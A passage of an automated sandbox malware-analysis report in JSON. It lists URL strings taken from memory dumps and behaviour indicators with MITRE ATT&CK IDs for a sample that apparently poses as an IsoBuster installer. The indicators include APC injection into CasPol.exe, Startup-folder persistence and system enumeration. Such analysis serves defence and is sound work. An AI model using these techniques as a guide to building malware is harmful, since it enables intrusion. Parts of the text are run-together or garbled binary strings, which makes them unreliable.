"https://login.windows.net/common/oauth2/nativeclientab9b8c07-8f02-4f72-87fa-80105867a7630000000068037d1c00000000480728c5https://login.microsoftonline.com/consumershttps://login.live.com/oauth20_desktop.srfhttps://api.office.nethttps://login.windows.net/common/https://login.windows-ppe.net/common/https://odc.edog.officeapps.live.com/odc/servicemanager/userconnecteda2760c41-63c9-42b5-8d58-bfa1fd9e2eb3https://graph.microsoft.com/v1.0/me/https://odc.officeapps.live.com/odc/servicemanager/userconnectedoauth::credentialstore::loadcachedcredentialcanloadcredentialversion(version)failed:" - Source: "00000000-00004560.00000000.81027.D645E000.00000002.mdmp") Found URL "https://onedrive.live.comhttps://clients.config.office.nethttps://wns.windows.comhttps://graph.microsoft.com/v1.0/organizationhttps://graph.microsoft.comusernamesafecustomeridhttps://login.windows.nethttps://login.microsoft.comhttps://login.windows.localunique_nameorganizationsconsumersgiven_namefamily_nametenant_display_namehttps://login.live-int.comhttps://directory.services.live.com/profile/profile.asmxhttps://login.live.comhttps://skyapi.live-tst.net/api/2/dogfoodoptionhttps://directory.services.live-int.com/profile/profile.asmx/oauth20_logout.srf/oauth20_authorize.srf/oauth20_desktop.srfhttps://skyapi.live.net/api/2/dogfoodoption&scope=?client_id=/oauth20_token.srf&refresh_token=&theme=win7&display=windesktop&response_type=token&redirect_uri=?state=&lc=&username=access_token=&lw=1&fl=wld2user_id=expires_in=scope=refresh_token=service::state=enableadallogstoleveladvapi32.dllapi-versionadgetusernamepassword&client_id=grant_type=authorization_codeapplication/x-www-form-urlencodedcontent-type&resource=&code=acceptempty&password=&scope=openidclient_id=application/jsongrant_type=passwordpost&grant_type=passwordpspcredential" - Source: "00000000-00004560.00000000.81027.D645E000.00000002.mdmp") Found URL "https://login.live.com/oauth20_token.srfauthtoserviceoneauthoneauthmsalunrecoverableerroroneauthmsalmigrationoneauthmsalsilentbusinessconfigoneauthmsaltoggleclientidcasingoneauthmsaluserauthenticationmigration" - Source: "00000000-00004560.00000000.81027.D645E000.00000002.mdmp") Found URL "http://localhostnucleus::websocketclient::sslwebsocketoutgoingconnection::onsslhandshakeonsslhandshake" - Source: "00000000-00004560.00000000.81027.D6750000.00000002.mdmp") Found URL "https://storage.live.com/clientlogs/uploadlocationkodlsyncenginenucleus-personal.iniloguploadersettingsloguploadersettings_tempfilenamelengthfilenamepayloadlengthsentfailed:" - Source: "00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found URL "https://device.ra.live-int.comhttps://device.ra.live.commbi_sslservice::live.com::mbi_ssllive-int.comlive.comhttps://storage.live.comhttps://onedrive.live-int.comhttps://onedrive.live.comservice::live-int.com::mbi_sslhttps://storage.live-int.comindows.security.authentication.onlineid.onlineidserviceticketrequestwindows.security.authentication.onlineid.onlineidsystemauthenticatorea6bc82a-5488-4605-b1e4-7a2fb15e2010spo_msitspo_productionsp_onprembasicsp_onpremspo_sovspo_edogsyncmigrationsyncexperimentaldeviceidchangewinmachineguiddeviceidvaluetolowercasewindeviceidvaluetouppercasewinmachineguidcollectionsoftware\microsoft\onedrivedeviceidchangetrackwinv2usernamecollectionhostnamecollectionuserdomaincollectiondeviceidfieldchangeddeviceidpreferredcasettpsecurefailureauthorization:" - Source: "00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found URL "https://http://cookie:content-lengthwlc-extended-statusauthdocumentnotfoundwww-authenticatecontent-encodinggzipcomputeruserlanguageen-ussoftware\microsoft\windows" - Source: "00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found URL "https://self.events.data.microsoft.com/onecollector/1.0/null[json.exception.parse" - Source: "00000000-00004560.00000000.81027.E03A0000.00000002.mdmp") Found URL "https://dc.services.visualstudio.com/v2/trackevent" - Source: "00000000-00004560.00000000.81027.E03A0000.00000002.mdmp") Found URL "https://config.teams.microsoft.com/config/v1/odsp_sync_client/enterprisemsitfastmsitslowinsidersprodecsconfigurationetagecsconfigurationexpiresecsconfigurationmaxageecsconfigurationlastsuccessrampconfigurationalnumalphablankcntrldigitgraphlowerprintpunctspaceupperxdigitecsexperimentdataflowconsumerconsumeronspobusinessonpremunknownfeaturesupportfeaturesupportuninitializedfeaturesupportservicefeaturesupportinstanceworkloadappidaccounttypesync_e_settingsparser_invalid_settings_configsync_e_settingsparser_invalid_settings_nodesync_e_settingsparser_invalid_ramps_nodesync_e_settingsparser_get_id_from_node_invalid_inputsync_e_settingsparser_invalid_id_nodesync_e_settingsparser_id_out_of_rangesync_e_settingsparser_get_percentage_from_node_invalid_inputsync_e_settingsparser_invalid_percentage_nodesync_e_settingsparser_invalid_percentage_node_typesync_e_settingsparser_percentage_out_of_rangesync_e_settingsparser_get_settings_from_json_object_invalid_inputsync_e_settingsparser_get_ramps_from_json_object_invalid_inputsync_e_settingsparser_invalid_setting_value_nodesync_e_settingsloader_no_file_streamsync_e_settingsloader_no_cached_filesync_e_settingsloader_empty_buffers_oks_falsee_faile_notimple_outofmemory0x%xunprintable" - Source: "00000000-00004560.00000000.81027.E0A20000.00000002.mdmp") Found URL "https://clients.config.office.net/collector/v1.0/inventoryodb0.010.03ar;bg;ca;cs;da;de;el;en;en-gb;en-us;es;et;eu;fi;fr;gl;he;hi;hr;hu;id;it;ja;kk;ko;lt;lv;ms;nb-no;nl;pl;pt-br;pt-pt;ro;ru;sk;sl;sr-cyrl-rs;sr-latn-rs;sv;th;tr;uk;vi;zh-cn;zh-tw;lnk" - Source: "00000000-00004560.00000000.81027.E0A20000.00000002.mdmp") Found URL "https://clients.config.office.net/user/v1.0/tenantassociationkey25.016393=%i.%m" - Source: "00000000-00004560.00000000.81027.E0A20000.00000002.mdmp") Found URL "https://g.live.com/odclientsettings/enterprisev2https://g.live.com/odclientsettings/msitfastv2https://g.live.com/odclientsettings/msitslowv2https://g.live.com/odclientsettings/insidersv2https://g.live.com/odclientsettings/prodv2updateringrampgroupupdateringsettingslastsuccesssoftware\microsoft\onedrivepnodesettingrampppercentageprampnodesoftware\microsoft\onedrive\presigninrampoverridessoftware\microsoft\onedrive\presigninsettingsoverridessoftware\microsoft\onedrive\ecsconfigurationoverrides\\ecssettingssoftware\microsoft\onedrive\ecsconfigurationoverrides\\ecsrampsinvalid" - Source: "00000000-00004560.00000000.81027.E0A20000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportmpupdateservice77bdaf73-b396-481f-9042-ad358843ec24ocalsettingoverridedisableearlylaunchantimalware" - Source: "00000000-00007512.00000000.66930.00880000.00000004.mdmp") Found URL "https://scripts.sil.org/oflitalicorg/oflhttps://scripts.sil.org/oflttps://scripts.sil.org/oflmiboldhttp://sajatypeworks.comitalic.coms://scripts.sil.org/oflhttp://sajatypeworks.com.comhttp://sajatypeworks.comtalicttp://sajatypeworks.compecial," - Source: "00000000-00007512.00000000.66930.027E0000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\fc064.trojan.exe.configfile:///c:/fc064.trojan.exec:/fc064.trojan.exec:\fc064.trojan.exehttphttpsfilegophernntpnewsmailtouuidtelnetldapnet.tcpnet.pipevsmacrostargetframeworkmonikerrflct.invalidfieldfailrflct.invalidpropfail0123456789abcdefsystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configc:\windows\microsoft.net\framework\v4.0.30319\c:\windows\microsoft.net\framework\v4.0.30319\path2path1c:\windows\microsoft.net\framework\v4.0.30319\configc:\windows\microsoft.net\framework\v4.0.30319\config\machine.configinvariant" - Source: "00000000-00007512.00000000.66930.027F0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00007512.00000000.66930.027F0000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00007512.00000000.66930.027F0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%lu&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00007512.00000000.66930.6D9F1000.00000020.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlhttpupdatealtlocationforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalnissignatureslastupdatedlastemergencysigcheckenableemergencysigsdeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00007512.00000000.66930.6D9F1000.00000020.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutlastmapssuccesstimelastmapsfailuretimethreatseveritydefaultactiontsstatetsstarttimetsexpirationtimetssourcetsdailyquotadisableprivacymodeallowuseruiaccessuilockdownadvertiselastschedulednotification_suppresssuppressrebootnotificationsuppresswdonotificationpauseupdatestarttimepauseupdateexpirationtimelastheartbeatsystimedisablelastaccesstimesuppressioninternalforceuupproxyforceignorecachedisableinjectiondisableasyncscanoncloseasynconopenvolumesenablertpasyncthrottlingrtpasyncthrottlepercentvaluedlpshowdialogsenablebrowserpasteenforcementdlpdisableprintfileheuristicdlpdisablebrowsercachedisablecopyaccelerationforsessionzerodisabletpexclusionsdynamicinjectionthresholdforcopyaccelerationdynamicinjectiontimewindowforcopyaccelerationdlpbrowsercachecleanupintervaldlpbrowserstalecachecleanupintervaldlpbrowsercloudegressbypassdurationpreventplatformupdatefilterexperimentmodecopyacceleratorcancellablecopysupportmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllrevious_corrupted_tpconfigsnapshot.snptspreferenceconfigs.snptspolicyconfigs.snpfailed" - Source: "00000000-00007512.00000000.66930.6D9F1000.00000020.mdmp") Found URL "http://www.validationtest.contoso.com/test%ld.htmlmpoav_forcedeepscan" - Source: "00000000-00007512.00000000.66930.723C1000.00000020.mdmp") Found URL "https://ecs.nel.measure.office.net?tenantid=odsp_sync_client&destinationendpoint=edge-prod-by3&frontend=afd" - Source: "00000000-00007708.00000000.80736.F7C60000.00000004.mdmp") Found URL "https://self.events.data.microsoft.com/onecollector/1.0/" - Source: "00000000-00007708.00000000.80736.F7C60000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0ta[17iusai:" - Source: "00000000-00007708.00000000.80736.F7C60000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007708.00000000.80736.F7C60000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00007708.00000000.80736.F7C60000.00000004.mdmp") Found URL "https://oneclient.sfx.ms/win/installers/23.209.1008.0002/onedrivesetup.exe" - Source: "00000000-00007708.00000000.80736.F7C60000.00000004.mdmp") Found URL "https://oneclient.sfx.ms/win/installers/23.209.1008.0002/amd64/onedrivesetup.exe" - Source: "00000000-00007708.00000000.80736.F7C60000.00000004.mdmp") Found URL "https://oneclient.sfx.ms/win/installers/23.209.1008.0002/arm64/onedrivesetup.exe" - Source: "00000000-00007708.00000000.80736.F7C60000.00000004.mdmp") Found URL "https://config.teams.microsoft.com/config/v1/odsp_sync_client/23.209.1008.0002?updatering=prod&accounttype=standaloneupdater&clientid=48703c35-c1dd-e799-bf3f-236a00114cc0config.teams.microsoft.comszoid_root_program_auto_update_end_revocationnistp256ecdhcryptoidinfoeccparameterssecp521r1ecdsacryptoidinfoeccparameterssecp224k1ecdhcryptoidinfoeccparameterssecp224r1ecdsacryptoidinfoeccparameterssecp256k1ecdhcryptoidinfoeccparameterssecp384r1ecdsacryptoidinfoeccparametersnistp521ecdsacryptoidinfoeccparameterswtls12ecdsacryptoidinfoeccparameterssecp160k1ecdsacryptoidinfoeccparametersnistp192ecdhcryptoidinfoeccparametersnistp384ecdsacryptoidinfoeccparameterssecp256k1ecdsacryptoidinfoeccparameterssecp384r1ecdhcryptoidinfoeccparametersoftware\policies\microsoft\systemcertificates\disallowedsecp192k1ecdsacryptoidinfoeccparameterssecp160k1ecdhcryptoidinfoeccparametersnistp521ecdhcryptoidinfoeccparameterssecp160r2ecdsacryptoidinfoeccparameterssecp160r2ecdhcryptoidinfoeccparameterswtls9ecdsacryptoidinfoeccparametersc:\windows\system32\windows.ui.immersive.dll,-38305szoid_root_program_no_ocsp_failover_to_crlwtls9ecdhcryptoidinfoeccparametersoftware\policies\microsoft\systemcertificates\disallowednistp224ecdsacryptoidinfoeccparametersnistp224ecdhcryptoidinfoeccparametersnistp384ecdhcryptoidinfoeccparameterssecp160r1ecdsacryptoidinfoeccparameterssecp160r1ecdhcryptoidinfoeccparameterssecp224r1ecdhcryptoidinfoeccparameterswtls7ecdsacryptoidinfoeccparameterswtls7ecdhcryptoidinfoeccparameterssecp224k1ecdsacryptoidinfoeccparameterssecp192k1ecdhcryptoidinfoeccparameterssecp521r1ecdhcryptoidinfoeccparameterswtls12ecdhcryptoidinfoeccparametersecure" - Source: "00000000-00007708.00000000.80736.F9C50000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00007708.00000000.80736.F9C50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00007708.00000000.80736.F9C50000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00007708.00000000.80736.F9C50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00007708.00000000.80736.F9C50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007708.00000000.80736.F9C50000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00007708.00000000.80736.F9C50000.00000004.mdmp") Found URL "http://crl.micro:duration;t:2xz1!/c:\usershapubwslinks/c:\usershapubwssaved" - Source: "00000000-00007708.00000000.80736.F9C50000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007708.00000000.80736.F9D29000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0120531151137z0/^g(o-cejy" - Source: "00000000-00007708.00000000.80736.F9D29000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007708.00000000.80736.F9D29000.00000004.mdmp") Found URL "https://ecs.nel.measure.office.net?tenantid=odsp_sync_client&destinationendpoint=edge-prod-by3&frontend=afd" - Source: "00000000-00007708.00000000.80736.F9DF9000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm/ecc" - Source: "00000000-00007708.00000000.80736.F9DF9000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00007708.00000000.80736.F9DF9000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm'x" - Source: "00000000-00007708.00000000.80736.F9DF9000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn}.#\\\\uEQzCLI%|7#C{XH|_=U[ ^ 4T2@L3zOt'@F{(`8x@;\" (Indicator: \" ^ \"; File: \"is-0T3ML.tmp\")\n Found string \"l)/QtY:????? Z@@ (B[00 %\\(( h] ^ _ ` haPNG\" (Indicator: \" ^ \"; File: \"is-0T3ML.tmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-624","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$7d","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileA@KERNEL32.dll at 19370-237-004230A0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowA\" (Indicator: \"FindWindowA\"; Source: \"00000000-00000272.00000000.69104.004AD000.00000004.mdmp\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00002580.00000000.69462.004C8000.00000002.mdmp\")\n Found reference to API \"FindWindowW\" (Indicator: \"FindWindowW\"; Source: \"00000000-00002580.00000000.69462.004C8000.00000002.mdmp\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00005588.00000000.70225.004C8000.00000002.mdmp\")\n Found reference to API \"FindWindowW\" (Indicator: \"FindWindowW\"; Source: \"00000000-00005588.00000000.70225.004C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersion@KERNEL32.dll at 29116-1-004C38E0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"JfRwFzeqzZvvwux4XhkFtQxa.exe.4150719347\")\n Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00000236.00000000.68472.00401000.00000020.mdmp\")\n Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00000272.00000000.69104.004AD000.00000004.mdmp, 00000000-00000272.00000000.69104.004B3000.00000002.mdmp\")\n Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00000272.00000000.69104.004B3000.00000002.mdmp\")\n Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00004064.00000000.69025.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"file/memory contains long string with (Indicator: \"GetStartupInfo\"; File: \"is-0T3ML.tmp\")\n Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"JfRwFzeqzZvvwux4XhkFtQxa.exe.4150719347\")\n Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"JfRwFzeqzZvvwux4XhkFtQxa.exe.4150719347\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeNameForVolumeMountPointW\" (Indicator: \"GetVolumeNameForVolumeMountPoint\"; File: \"JfRwFzeqzZvvwux4XhkFtQxa.exe.4150719347\")\n Found reference to API \"GetVolumeNameForVolumeMountPointW\" (Indicator: \"GetVolumeNameForVolumeMountPoint\"; Source: \"00000000-00000236.00000000.68472.00401000.00000020.mdmp\")\n Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00002580.00000000.69462.004C8000.00000002.mdmp\")\n Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00005588.00000000.70225.004C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00007736-00000C15-77788904","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"svchost.exe\"\n Report process \"WerFault.exe\" was created by \"IsoBuster_1111.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"WsiRo79aGtj1sv16LL99nXPY.exe\" called \"CreateDirectoryA\" (UID: 00000000-00004064)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"General","name":"Calls an API typically used to move file or directory","description":"$7e","origin":"API Call","mitre_attack_id":"T1570","relevance":1,"id":"api-224","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.dll at 19370-362-0040AF07","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"General","name":"Contains reference to Windows Startup folder","description":"\":\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" (Indicator: \":\\programdata\\microsoft\\windows\\start menu\\programs\\startup\") in Source: 00000000-00000272.00000000.69104.02BF0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-265","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"is-U1OLK.tmp\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 6DA30000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-2","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"CasPol.exe\" called \"NtQueueApcThread\" (UID: 00000000-00007664)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in program files directory","description":"\"is-U1OLK.tmp\" touched file \"C:\\Program Files (x86)\\Smart Projects\\IsoBuster\\unins000.dat\"\n \"is-U1OLK.tmp\" touched file \"C:\\Program Files (x86)\\Smart Projects\\IsoBuster\\Lang\\is-LTU66.tmp\"\n \"is-U1OLK.tmp\" touched file \"C:\\Program Files (x86)\\Smart Projects\\IsoBuster\\Lang\\is-JQIQD.tmp\"\n \"is-U1OLK.tmp\" touched file \"C:\\Program Files (x86)\\Smart Projects\\IsoBuster\\Plugins\\is-8MRLC.tmp\"\n \"is-U1OLK.tmp\" touched file \"C:\\Program Files (x86)\\Smart Projects\\IsoBuster\\Plugins\\is-08P69.tmp\"\n \"is-U1OLK.tmp\" touched file \"C:\\Program Files (x86)\\Smart Projects\\IsoBuster\\Plugins\\is-C7SH5.tmp\"\n \"is-U1OLK.tmp\" touched file \"C:\\Program Files (x86)\\Smart Projects\\IsoBuster\\is-0T3ML.tmp\"","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-113","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"\\Device\\HarddiskVolume2\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"\\Device\\HarddiskVolume2\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetEnumResourceA\" (Indicator: \"NetEnumResource\"; Source: \"00000000-00000272.00000000.69104.004AD000.00000004.mdmp\")\n Found reference to API \"WNetCloseEnum\" (Indicator: \"NetCloseEnum\"; Source: \"00000000-00000272.00000000.69104.004AD000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"Network Related","name":"Contains ability to query information about shared network resources (API string)","description":"file/memory contains long string with (Indicator: \"EnumPrinters\"; File: \"is-0T3ML.tmp\")\n Found reference to API \"EnumPrintersW\" (Indicator: \"EnumPrinters\"; Source: \"00000000-00002580.00000000.69462.004C8000.00000002.mdmp\")\n Found reference to API \"EnumPrintersW\" (Indicator: \"EnumPrinters\"; Source: \"00000000-00005588.00000000.70225.004C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":3,"id":"string-190","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\".{tv9pvk{fva}?s6ig:u0cs7.j&h!@{&aj-:g/_~o1y'W#\\yO}k7nko;g}zT\" (Indicator: \"\"; File: \"is-0T3ML.tmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-556","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Read system defined device setup information from registry","description":"\"file.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0001\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"SetSystemPowerState\" (Indicator: \"SetSystemPowerState\"; File: \"JfRwFzeqzZvvwux4XhkFtQxa.exe.4150719347\")\n Found reference to API \"SetSystemPowerState\" (Indicator: \"SetSystemPowerState\"; Source: \"00000000-00000236.00000000.68472.00401000.00000020.mdmp\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00000272.00000000.69104.004AD000.00000004.mdmp\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00004064.00000000.69025.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"is-U1OLK.tmp\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: 